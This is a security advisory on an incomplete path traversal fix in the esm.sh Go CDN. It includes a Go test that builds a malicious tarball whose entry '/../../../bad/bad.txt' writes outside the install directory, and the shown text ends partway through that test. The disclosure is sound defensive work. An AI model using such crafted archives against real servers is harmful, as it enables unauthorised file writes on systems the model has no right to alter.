esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue.

Affected: Go: github.com/esm-dev/esm.sh

### Summary

The [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.

### PoC

This test file can demonstrate the basic idea pretty easily:

```go package server

import ( "archive/tar" "bytes" "compress/gzip" "testing" )

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function // with a malicious tarball containing a path traversal attempt func TestExtractPackageTarball_PathTraversal(t *testing.T) { // Create a temporary directory for testing installDir := "./testdata/good"

// Create a malicious tarball with path traversal var buf bytes.Buffer gw := gzip.NewWriter(&buf) tw := tar.NewWriter(gw)

// Add a normal file content := []byte("export const foo = 'bar';") header := &tar.Header{ Name: "package/index.js", Mode: 0644, Size: int64(len(content)), Typeflag: tar.TypeReg, } if err := tw.WriteHeader(header); err != nil { t.Fatal(err) } if _, err := tw.Write(content); err != nil { t.Fatal(err) }

// Add a malicious file with path traversal bad := []byte("bad") header = &tar.Header{ Name: "/../../../bad/bad.txt", Mode: 0644, Size: int64(len(bad)), Typeflag: tar.TypeReg, } if err := tw.WriteHeader(header); err != nil { t.Fatal(err) } if _, err := tw.Write(bad); err != nil { t.Fatal(err) }

tw.…